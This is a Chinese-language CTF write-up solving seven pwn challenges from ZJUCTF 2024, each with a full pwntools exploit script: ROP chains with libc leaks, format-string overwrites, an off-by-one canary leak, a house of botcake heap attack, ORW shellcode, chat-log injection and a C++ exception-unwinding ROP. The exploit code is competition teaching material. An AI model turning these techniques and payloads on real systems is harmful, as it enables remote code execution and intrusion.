引言:
2024 ZJUCTF PWN方向题解,包括easy rop, simple-echo, cakebot, chatroom, 大A口算, sandbox, catchcat七道题目。比去年难不少,还得练~
1 easy rop
先看下,程序,main函数里面什么都没有,调用了一个read_name函数。
read_name函数里有一个无数次的栈溢出。同时会对输入的前三个字节进行验证,如果是ZJU
或者SJTU
的话就退出,否则输出buf中的内容。
程序开启了PIE,并且没有给libc。算是rop的板子题。
本题的大体思路如下:
第一次栈溢出溢出buf到read_name
的返回地址,并使其认证失败输出buf,连带拉出read_name
返回地址,从而得到程序加载的基地址。
第二次栈溢出利用rop,返回puts
的plt
,使其输出puts
的got
,泄露libc
。之后再返回到read_name
函数。
第三次栈溢出直接pop
, str_bin_sh
, system
由于程序没给libc,这里借助LibcSearcher的工具搜一下~
exp如下,注意栈对齐,在rop链里加ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from wstube import websocketfrom LibcSearcher import *context.log_level = "debug" context.arch = "amd64" p = websocket("wss://ctf.zjusec.com/api/proxy/3388170e-b155-4bb7-a51b-bbcef939ddf2" ) elf = ELF("./rop" ) padding = b"ZJU" padding = padding.ljust(0x38 , b"A" ) payload = b"A" * 0x38 p.sendafter(b"Print Your name please: " , payload) p.recvuntil(b"A" * 0x38 ) base_main_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x8F5 p.info(hex (base_main_addr)) pop_rdi = 0x963 + base_main_addr ret = 0x666 + base_main_addr payload = padding + p64(pop_rdi) + p64(elf.got["printf" ] + base_main_addr) + p64(ret) + p64(elf.plt["printf" ] + base_main_addr) + p64(base_main_addr + 0x8f0 ) p.sendlineafter(b"Print Your name please: " , payload) p.recvuntil(b"\x0a" ) printf_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) libc = LibcSearcher("printf" , printf_addr) libc_base = printf_addr - libc.dump("printf" ) system = libc_base + libc.dump("system" ) str_bin_sh = libc_base + libc.dump("str_bin_sh" ) payload = padding + p64(pop_rdi) + p64(str_bin_sh) + p64(ret) + p64(system) p.sendlineafter(b"Print Your name please: " , payload) p.interactive()
flag: ZJUCTF{@n_1a$y_R0p_cHalL_1N_x64|A7hdJk5wN7}
2 Simple echo
checksec看下程序,没有开PIE,GOT可写
程序里面是一个三次的格式化字符串。
附件中给了libc,后面就好办了。这边思路是把返回地址覆盖成one_gadget
, 但one_gadget
对rbp还有一些限制,通过动态调试可以发现,main函数返回的时候rbp会被弹为1。
这显然是不行的,所以我们至少需要一个格式化字符串把rbp指向的值写成一个可读可写的地址。
本题的大体思路如下:
第一次fmt,同时泄露栈地址和main函数返回地址,进而泄露libc
第二次fmt,覆盖main函数返回地址为one_gadget
第三次fmt,覆盖rbp指向的值为bss+0x78的地址
利用逐字节写入的方法,本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *from wstube import websocketfrom LibcSearcher import *context.log_level = "debug" context.arch = "amd64" p = websocket("wss://ctf.zjusec.com/api/proxy/626881a6-f61d-4c93-9691-f5a07f174a22" ) elf = ELF("./app" ) stack_pointer_offset = 7 + (0xc8 - 0x8 ) // 8 ret_addr_pointer_offset = 7 + (0xa8 - 0x8 ) // 8 p.recv() payload = "%{}$p" .format (stack_pointer_offset) + "%{}$p" .format (ret_addr_pointer_offset) p.sendline(payload) p.recvuntil(b"Blala:" ) stack_pointer = eval (p.recv(14 ).decode()) - 0x110 main_ret_addr = eval (p.recv(14 ).decode()) libc = ELF("./libc.so.6" ) libc_base = main_ret_addr - 0x29d90 p.info(hex (libc_base)) one_gadget = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] target_addr = libc_base + one_gadget[0 ] p.info(hex (target_addr)) payload = "aa" + "%{}c%{}$hhn" .format (target_addr % 0x100 - 8 , 16 ) payload += "%{}c%{}$hhn" .format ((target_addr >> 8 ) % 0x100 + (0x100 - (target_addr % 0x100 )), 17 ) payload += "%{}c%{}$hhn" .format ((target_addr >> 16 ) % 0x100 + (0x100 - (target_addr >> 8 ) % 0x100 ), 18 ) payload += "%{}c%{}$hhn" .format ((target_addr >> 24 ) % 0x100 + (0x100 - (target_addr >> 16 ) % 0x100 ), 19 ) payload = payload.encode().ljust(0x3a , b"\x00" ) payload += p64(stack_pointer) payload += p64(stack_pointer + 1 ) payload += p64(stack_pointer + 2 ) payload += p64(stack_pointer + 3 ) p.sendline(payload) stack_pointer -= 0x8 rbp_mov = 0x404040 + 0x78 payload = "aa" + "%{}c%{}$hhn" .format (rbp_mov % 0x100 - 8 , 16 ) payload += "%{}c%{}$hhn" .format ((rbp_mov >> 8 ) % 0x100 + (0x100 - (rbp_mov % 0x100 )), 17 ) payload += "%{}c%{}$hhn" .format ((rbp_mov >> 16 ) % 0x100 + (0x100 - (rbp_mov >> 8 ) % 0x100 ), 18 ) payload += "%{}c%{}$hhn" .format ((rbp_mov >> 24 ) % 0x100 + (0x100 - (rbp_mov >> 16 ) % 0x100 ), 19 ) payload = payload.encode().ljust(0x3a , b"\x00" ) payload += p64(stack_pointer) payload += p64(stack_pointer + 1 ) payload += p64(stack_pointer + 2 ) payload += p64(stack_pointer + 3 ) p.sendline(payload) p.interactive()
flag: ZJUCTF{f0rMAt_5TR1Ng_bU9_iS_O1D_8uT_c001|0335}
3 大A口算
口算系列第三道,先看程序。大意和前两道题一样,但这次连题目集都不给了。
但综合前两道题可以看到,这个程序无论我们答对多少道题目,他都不会给我们实质性的加分,而且假如我们答错的题目数比答对的题目数少,还会强制退出。所以去改分数神马的就不行了。
因为是个pwn题,所以肯定不能按照一般思路来。逆一下程序,定位这两个地方。上面是说最开始最大只允许输入0x100的字节的答案集,之后会去验证我们的答案。
前面是说首次输入最多可以输0x100个答案,之后最多可以输的答案数由之前的答案数决定。
最后观察到一个off_by_one
。 这个off_by_one
结合前面的strlen
就很有用。
假设我们第一次0x100字节填满,第一次跑完他就会在0x101
的位置填一个回车
第二次输入的时候,长度由第一次的决定,所以最多还是0x100,再次填满
但此时,第二次运行strlen的时候就会把第一次在后面补的\n
算进去,答案长度变成了0x101
等到第三次输入的时候,就可以输入0x101
的字节了。
以此类推,就这样一个字节一个字节得off_by_one
,加上最后他还会很好心的输出s中的内容,就可以泄露canary+返回地址啦~
目标,覆盖返回地址到0x1f9f
偏移处,让他去输出flag
这道题还是需要大量动态调试的,比如输到多少个字节的时候泄露到canary,多少个字节的时候刚好泄露到返回地址什么的,还是很考调试技能的。
至于答案预测嘛,中A口算已经爆破了远端时间戳,这里直接用就好啦~
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *import ctypesfrom wstube import websocketfrom LibcSearcher import *context.log_level = "debug" context.arch = "amd64" elf = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) rand = elf.rand srand = elf.srand p = websocket("wss://ctf.zjusec.com/api/proxy/c934a14c-bfd6-4620-8a41-153b88b4aefb" ) p.sendlineafter(b"Input your choice: " , b"3" ) p.recvlines(3 ) total = -441849598 base_epoch = 1729179178 epoch_time_now = int (time.time()) srand(epoch_time_now + total) p.recvuntil(b"The size of question set is Customized! So enjoy youself! :)\n\n\n" ) offset_ret = 0x2150 offset_2 = 0x1f9f target_addr = 0 next_size = 0 for i in range (0 , 18 + 32 + 30 ): a_list = [] b_list = [] ans_list = "" if next_size == 289 : ans_list = b"submit" .ljust(264 , b"\x00" ) + p64(canary) + p64(0 ) + p64(target_addr) p.sendafter(b"Now guess the answer, I'll correct your answer:\n" , ans_list) break elif i < 18 : for j in range (0x100 + (i // 2 )): a = rand() % 20 b = rand() % 20 if a > b: ans_list += ">" elif a < b: ans_list += "<" else : ans_list += "=" elif i >= 18 : for j in range (next_size+1 ): a = rand() % 20 b = rand() % 20 if a > b: ans_list += ">" elif a < b: ans_list += "<" else : ans_list += "=" print (hex (i)) p.sendafter(b"Now guess the answer, I'll correct your answer:\n" , ans_list) if i != 0 : p.recvuntil(b"You set the size of question to " ) next_size = eval (p.recv(3 ).decode()) p.info(hex (next_size)) if i == 17 : p.recvuntil(ans_list.encode()) p.recv(1 ) canary = u64(p.recv(7 ).rjust(8 , b"\x00" )) p.info(hex (canary)) if i == 0x14 : p.recvuntil(ans_list.encode()) p.recv(1 ) main_base_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) - offset_ret target_addr = main_base_addr + offset_2 p.info(hex (target_addr)) p.interactive()
(嘶这时间戳写wp时候不管用了,懒得再爆破了wwwww.....)
4 cake bot
如此高版本的libc堆题我还是第一次见.....也好,因为这个题配了个24.04的Ubuntu容器。
先checksec一下~
看下libc的版本..这版本真是前所未见啊.....没关系,先当2.35的来做吧。
逆一下程序,经典菜单,提供增删查三个功能。
添加堆块的部分没什么好说的,一个size list和一个chunk list。比较好玩的是可以指定下标申请。
删除堆块的部分只free了没清空,可能会有一个UAF漏洞。并且free的时候不会判断size是否为空,有Double free的可能
show就是正常的show,但会判断size是否为空,也就是咱们不能直接show已经free的堆块。
但free的时候不会判断。我们申请了一个堆块,把它free掉,然后再申请第二的堆块,这时候chunk[1]
和chunk[0]
是指向同一个Allocated
的chunk
的。现在我们再把chunk[0]
给free
掉,这时候chunk[1]
和chunk[0]
都指向了一个free
的堆块,但chunk[1]
的size不是空的,我们可以通过这种方法,去泄露libc
地址和heap
地址
申请一个大堆块,给他free掉让他进入unsorted bin
,里面就有libc的地址了。heap的地址嘛,申请一个小堆块,让他进入tcache bin,当tache bin的一条链上只有一个堆块的时候,它的fd指针就是heap_addr >> 12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 add(1 , 0x800 , b"A" ) delete(1 ) add(15 , 0x800 , b"A" ) add(3 , 0x50 , b"A" ) delete(1 ) show(15 ) p.recvuntil(b"This box will be sent to:\n\x00" ) libc_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x203b20 p.info(hex (libc_base)) add(13 , 0x800 , b"A" ) add(1 , 0x40 , b"A" ) delete(1 ) add(14 , 0x40 , b"B" ) delete(1 ) show(14 ) p.recvuntil(b"This box will be sent to:\n\x00" ) tcache_bin_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) << 12 key = (tcache_bin_base >> 12 ) delete(3 )
做完事要记得打扫战场....不然后面出了什么bug都de不出来.....
由于没有edit的函数,后面我们打一个house of botcake。
house of botcake的核心在于绕过对Double free的检查。如果一个堆块要进入到tcache bin的时候,会检查它的key位是否为heap_addr,如果是则发生Double free,程序寄掉。在没有edit函数的情况下,我们可以通过已free的堆块合并的方式,绕过检查。
本题思路大致如下:
先分配七个一样大小的并且size合适的堆块(可以大一点,防止待会进入fastbin),再分配两个相同大小的堆块,然后把前七个堆块free掉,把tcachebin的一条链路堆满
之后free掉第八个堆块,让他进入到unsorted bin,再free掉第七个堆块,这样就会触发unsorted bin的合并,七八两个堆块合并成一个大堆块
分配一个相同大小的堆块,使得tcache bin里面有一个空位,把第八个堆块free掉,这时候因为第八个堆块里面的各种东西都已经没了,绕过了tcache bin对Double free的检查。现在第八个堆块既在tcache bin里,又在unsorted bin里。
分配一个比上述堆块大小稍微大一点的堆块,这时候会优先从Unsorted bin里面切一块出来,这样就可以通过编辑这个堆块溢出到上述第八个堆块的fd位,tcache bin就会断链,之后就可以任意地址读写啦~
之后按照libc2.35
的一般套路打一个environ
布栈就好啦~
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *from wstube import websocketcontext(os='linux' , arch='amd64' , log_level='debug' ) p = websocket("wss://ctf.zjusec.com/api/proxy/521a1467-b250-4513-9148-28766495e876" ) libc = ELF("./libc.so.6" ) def add (idx, size, content ): sla(b"Your choice: " , str (1 )) sla(b"Choose a box to pack the cake:\n" , str (idx)) sla(b"Input size of shipping address:\n" , str (size)) sla(b"Input your address:\n" , content) def delete (idx ): sla(b"Your choice: " , str (2 )) sla(b"Input index of box to send:\n" , str (idx)) def show (idx ): sla(b"Your choice: " , str (3 )) sla(b"Input index of box to check:\n" , str (idx)) add(1 , 0x800 , b"A" ) delete(1 ) add(15 , 0x800 , b"A" ) add(3 , 0x50 , b"A" ) delete(1 ) show(15 ) p.recvuntil(b"This box will be sent to:\n\x00" ) libc_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x203b20 p.info(hex (libc_base)) add(13 , 0x800 , b"A" ) add(1 , 0x40 , b"A" ) delete(1 ) add(14 , 0x40 , b"B" ) delete(1 ) show(14 ) p.recvuntil(b"This box will be sent to:\n\x00" ) tcache_bin_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) << 12 key = (tcache_bin_base >> 12 ) + 1 delete(3 ) for i in range (7 ): add(i, 0x100 , b"A" ) add(7 , 0x100 , b"B" ) add(8 , 0x100 , b"C" ) add(9 , 0x30 , b"K" ) for i in range (7 ): delete(i) delete(8 ) delete(7 ) add(10 , 0x100 , b"D" ) delete(8 ) p.info(hex (libc_base)) environ = libc.sym["__environ" ] + libc_base _bss = 0x00000000002046e0 + libc_base IO_list_all = libc_base + libc.sym["_IO_list_all" ] p.info(hex (environ)) p.info(hex (tcache_bin_base )) p.info(hex (IO_list_all)) payload = b"A" * 0x100 + p64(0 ) + p64(0x111 ) + p64(key ^ (environ - 0x28 )) add(11 ,0x120 , payload) add(12 , 0x100 , b"C" *0x10 ) add(0 , 0x100 , b"C" *0x10 ) show(0 ) p.recvuntil(b"C\x0a" ) p.recv(23 ) stack_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) - (0x608 - 0x4d8 ) p.info(hex (stack_addr)) delete(12 ) delete(11 ) one_gadget = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] target_addr = libc_base + one_gadget[0 ] one_gadget = [0x583e3 , 0x1111aa , 0x1111b2 , 0x1111b7 ] pop_rdi = libc_base + libc.search(asm("pop rdi; ret" )).__next__() ret = pop_rdi + 1 str_bin_sh = libc_base + libc.search(b"/bin/sh\x00" ).__next__() system = libc_base + libc.sym["system" ] payload = b"A" * 0x100 + p64(0 ) + p64(0x111 ) + p64(key ^ (stack_addr - 0x18 )) add(11 , 0x120 , payload) payload = p64(ret) * 5 + p64(pop_rdi) + p64(str_bin_sh) + p64(ret) + p64(system) add(12 , 0x100 , b"A" ) p.info(hex (stack_addr)) add(1 , 0x100 , payload) p.interactive()
吐个槽,我觉得比较难受的是,最后获取的shell不在根目录下,就导致我在这里狂ls
啥都没有,还以为寄了,又de了好久bug,后来发现容器里压根没问题笑死我了。
flag: ZJUCTF{C4ke_8ot?_8otC4ke!}
5 sandbox
沙箱shellcode+orw题,checksec一下,保护全开
程序里面ban了syscall,但给了一个syscall的plt,相当于给了syscall,到时候调一下寄存器就完事了。
题目还把flag的文件名改成了flag的md5值...没事,读个目录名泄露一下就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 shellcode_1 = f""" pop rbx sub rbx, {shellcode_ret_offset} mov rdi, 2 mov rsi, 0x0000000000002f push rsi mov rsi, rsp push rbx add rbx, {offset_to_syscall} call rbx mov rdi, 78 mov rsi, rax pop rdx push rdx add rdx, {offset_to_bss} mov rcx, 0x500 pop rbx push rbx add rbx, {offset_to_syscall} call rbx mov rdi, 1 mov rsi, 1 pop rdx push rdx add rdx, {offset_to_bss} mov rcx, 0x270 pop rbx push rbx add rbx, {offset_to_syscall} call rbx pop rbx push rbx add rbx, {elf.sym["main" ]} call rbx """
可以看到文件名已经泄露出来了,之后再来一次ORW就好了~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *from wstube import websocketfrom LibcSearcher import *context.log_level = "debug" context.arch = "amd64" p = websocket("wss://ctf.zjusec.com/api/proxy/fddd0457-0699-4be8-9cc9-34cef9538b48" ) elf = ELF("./pwn" ) offset_to_syscall = elf.plt["syscall" ] shellcode_ret_offset = 0x14c1 offset_to_bss = 0x4010 flag= "/de27cb9335d01bb7576f00a72c13239d" shellcode_2 = f""" pop rbx sub rbx, {shellcode_ret_offset} mov rdi, 0 mov rsi, 0 mov rdx, rbx add rdx, {offset_to_bss + 0x10 } mov rcx, 0x21 push rbx add rbx, {offset_to_syscall} call rbx mov rdi, 2 pop rsi push rsi add rsi, {offset_to_bss + 0x10 } mov rdx, 0 mov rcx, 0 pop rbx push rbx add rbx, {offset_to_syscall} call rbx mov rdi, 0 mov rsi, rax pop rdx push rdx add rdx, {offset_to_bss + 0x30 } mov rcx, 0x1000 pop rbx push rbx add rbx, {offset_to_syscall} call rbx mov rdi, 1 mov rsi, 1 pop rdx push rdx add rdx, {offset_to_bss + 0x30 } mov rcx, 0x100 pop rbx push rbx add rbx, {offset_to_syscall} call rbx pop rbx push rbx add rbx, {elf.sym["main" ]} call rbx """ p.sendlineafter(b"Input your shellcode:\n" , asm(shellcode_2)) p.interactive()
由于懒得把那么长一串存到内存里,所以在shellcode里加了一个read
的调用输入flag的名字哈哈哈哈哈
flag: ZJUCTF{M45ter_of_O_R_W}
6 chat room
给源码就好说了,没给源码的时候确实有点难度....
先看server的码吧,server创建了两个线程,bot线程每隔十秒会往log.txt里去写flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (connect(sockfd, (struct sockaddr *)(&server_addr), sizeof (struct sockaddr)) == -1 ) err("connect error" ); Online *bot = (Online *)malloc (sizeof (Online)); bot->fd = -1 ; bot->uid = 99901 ; strcpy (bot->username, BOT_NAME); bot->next = head; head = bot; int fd; if ((fd = open("./flag" , O_RDONLY)) < 0 ) err("open flag error" ); char flag[BUFLEN] = {0 }; read(fd, flag, BUFLEN); flag[strcspn (flag, "\n" )] = '\0' ;
所以目标很明确,想个办法把flag从log.txt
里搞出来。
定位源码中的DISPLAY_LOG
, 会把我当前用户接受到的和发出的消息都输出一遍。
这里注意到用strtok
去拆分每一行的内容,分为sender,recevier,text,time。截断方式很有意思,也就是说我假如用户名里就有#
他也会拆分。
那假如我的内容里面就有回车呢?那回车后面的部分就会跳到下一行去,成为下一行的用户名。 并且log的写入方式采用snprintf
只要给他塞满,就不会在内容之后加"" 而是\0
。这样,当bot进程再次输出flag的时候,他的那行日志就会和我们输入的内容拼在一起啦~
最后只要再创建一个跟上述被回车干下去的内容名字一样的用户,再DISPLAY_LOG
就能把flag输出出来了。
本题的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *from wstube import websocketfrom LibcSearcher import *import structfrom enum import Enumclass Flag (Enum ): LOGIN = 0 LOGOUT = 1 REGISTER = 2 RESET_PASSWORD = 3 DISPLAY_ONLINE_USER = 4 DISPLAY_LOG = 5 CHATONE = 6 CHATALL = 7 DATABASE_ERROR = 8 FILE_ERROR = 9 LOGIN_REPEATED = 10 LOGIN_UID_ERROR = 11 LOGIN_PASSWORD_ERROR = 12 REGISTER_USERNAME_REPEATED = 13 DISPLAY_ONLINE_USER_FINISHED = 14 DISPLAY_LOG_FINISHED = 15 CHATONE_NOT_EXIST = 16 CHATONE_RECEIVER = 17 CHATALL_RECEIVER = 18 context(os='linux' , arch='amd64' , log_level='debug' ) context.log_level = "debug" context.arch = "amd64" server_address = "localhost" server_port = 9999 class Message : def __init__ (self, flag, uid, rid, username, msg ): self.flag = flag self.uid = uid self.rid = rid self.username = username self.msg = msg def pack (self ): username_packed = self.username.ljust(0x100 , '\0' ) msg_packed = self.msg.ljust(0x100 , '\0' ) return struct.pack("iii256s256s" , self.flag, self.uid, self.rid, username_packed.encode(), msg_packed.encode()) conn = websocket("wss://ctf.zjusec.com/api/proxy/be102991-58a1-45a2-937e-9b4760c7453b" ) password = "AAA" name = "T" * 0x3f + "#" + "T" * 0x3f + "#" + "T" * 0x3f + "#" + "B" * 0x20 + "\n" + "C" register_message = Message(flag = 2 , uid = 0 , rid = 0 , username=name, msg = password).pack() conn.send(register_message) response = conn.recv(1024 ) print ("Server Response: " , response)uid_my = u32(response[4 :8 ]) conn.info(hex (uid_my)) login_message = Message(flag=0 , uid=uid_my, rid=0 , username=name, msg=password).pack() conn.send(login_message) response = conn.recv(1024 ) print ("Server Response: " , response)chat_message = Message(flag=6 , uid=uid_my, rid=99901 , username=name, msg="AA" ).pack() conn.send(chat_message) response = conn.recv(1024 ) print ("Server Response: " , response)logout_message = Message(flag=1 , uid=0 , rid=0 , username="" , msg="AA" ).pack() conn.send(logout_message) response=conn.recv(1024 ) print ("Server Response: " , response)sleep(10 ) name = "C" register_message = Message(flag = 2 , uid = 0 , rid = 0 , username=name, msg = password).pack() conn.send(register_message) response = conn.recv(1024 ) print ("Server Response: " , response)uid_my = u32(response[4 :8 ]) conn.info(hex (uid_my)) login_message = Message(flag=0 , uid=uid_my, rid=0 , username=name, msg=password).pack() conn.send(login_message) response = conn.recv(1024 ) print ("Server Response: " , response)display_messgae = Message(flag = 5 , uid=uid_my, rid=0 , username=name, msg=password).pack() conn.send(display_messgae) response = conn.recv(1024 ) print ("Server Response: " , response)conn.interactive()
中间等十秒的原因是让bot进程有充足的时间写日志~
flag: ZJUCTF{d0g_go4t_n1gh5ing4le_p3ngu1n_r4bb1t_w0lf}
7 catch cat
C++异常处理,checksec一下,保护全开
反汇编一下,main函数里有一个catch块去捕获异常的。
catch
函数就是去抓猫,没什么特别的,注意到这里也会有一个throw,应该是被main函数里的catch
块处理
name
函数里就是给猫起名字,没什么特殊的,最多可以输0x100
个字节。chat
函数就有意思了,里面可以跟猫讲话,并且有一个栈溢出:
这snprintf一点也不安全,动态调试了一下这玩意居然可以溢出到0x125 + 0x80
。
这个异常处理可以帮助我们绕过canary,但是下面的puts就用不到了。
看源码可以看到main函数里面是有两个异常处理的,一个处理无符号整数,一个处理字符串。
1 2 3 4 5 6 7 8 9 catch (uint64_t val) { printf ("Ouch! An error occurs: %lu\n" , val); } catch(const char *msg) { printf ("Ouch! An error occurs: %s\n" , msg); break ; }
无符号整数的异常处理之后是不会退出的,而字符串会。异常处理的时候会发生栈回溯,也就是说一层一层得网上找,回溯当前栈空间,清理变量,落到之前函数的栈空间。
同时还会根据返回地址 去找当前函数内是否有可以处理该异常的catch块,如果有则处理,没有则一直往上找。
所以在rop的时候一定要保证原来这个函数的ret_addr
落在可以被处理的try
块内!
所以现在思路就有了,上面说我们一共可以溢出0x125 + 0x80
,动调了一下发现这长度不仅能溢出当前函数的栈,还能溢出main函数的栈!也就是说,我们只要正确得触发这个异常处理,就可以回到main函数的catch块,break
之后就能打一个华丽的rop。
栈回溯仅清理前面的函数栈,后面的啥都不管,只要让他能正确找到catch块,后面爱咋咋地。
现在还有一个问题,程序地址怎么得。之前说程序处理choice
的异常的时候不会break
, choice
是用scanf
输入的,scanf
在处理整形数输入时如果接受到了+
-
会跳过本次输入。那这时候的choice
就变成栈上的脏数据了,可以通过这种方法来获取程序地址。
main函数里的choice没用,但是catch函数里的choice有用
本题的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *from wstube import websocketfrom LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) p = websocket("wss://ctf.zjusec.com/api/proxy/c1946bff-1f70-4c5b-99c4-b16d19fe2fc1" ) elf = ELF("./catchcat" ) libc = ELF("./libc.so.6" ) def catch (idx ): sla(b">> " , str (1 )) sla(b">> " , str (idx)) def namec (content ): sla(b">> " , b"2" + content) def chat (message ): sla(b">> " , b"3" + message) sla(b">>" , b"+" ) p.recvuntil(b"Ouch! An error occurs: " ) addr_1 = eval (p.recvline()[:-1 ].decode()) p.info(hex (addr_1)) sla(b">>" , b"1" ) sla(b">>" , b"+" ) p.recvuntil(b"Ouch! An error occurs: " ) addr_2 = eval (p.recvline()[:-1 ].decode()) p.info(hex (addr_2)) main_base_addr = addr_2 - 0x2008 rw_addr = main_base_addr + 0x4080 catch_ret_addr = main_base_addr + 0x1435 catch(1 ) ret_addr = main_base_addr + 0x101a pop_rsi = main_base_addr + 0x141b pop_rsp_r12_r14 = main_base_addr + 0x1417 printf_chk_ = main_base_addr + 0x1761 printf_chk_main = main_base_addr + 0x13CB stack_pivot_input_addr = main_base_addr + 0x1699 set_buf_empty = main_base_addr + 0x1574 payload = b"A" * 0xff namec(payload + b"\n" ) payload = b"B" * 6 payload += p64(catch_ret_addr) payload += p64(rw_addr) * ((0x168 -0x130 ) // 8 ) payload += p64(pop_rsi) payload += p64(main_base_addr + elf.got["puts" ]) payload += p64(printf_chk_) payload += p64(ret_addr) * 3 payload += p64(main_base_addr + 0x1480 ) chat(payload) p.recvuntil(b"An error occurs: Small cat cannot understand such a long sentence~\n" ) puts_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) libc_base = puts_addr - libc.sym["puts" ] one_gadget = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] pop_rdi = libc_base + libc.search(asm("pop rdi;ret" )).__next__() str_bin_sh = libc_base + libc.search(b"/bin/sh" ).__next__() system = libc_base + libc.sym["system" ] p.info(hex (puts_addr)) p.info(hex (libc_base)) catch(1 ) payload = b"A" * 0xff namec(payload + b"\n" ) payload = b"B" * 6 payload += p64(catch_ret_addr) payload += p64(rw_addr) * ((0x168 -0x130 ) // 8 ) payload += p64(pop_rdi) payload += p64(str_bin_sh) payload += p64(pop_rdi + 1 ) payload += p64(system) chat(payload) inter()
可以看到这里面我的各种padding都比较怪异,那是因为程序用的fgets(,,stdin)
, 鬼知道我上一次什么东西输的不好下一次就读进去了,搞的栈乱七八糟的....
返回start
再来一次也是因为第二次rop的时候栈特别乱,摆烂了,得了得了回start
重开吧....
flag: ZJUCTF{tRyyyyc4tChc@tca5cHcaT~}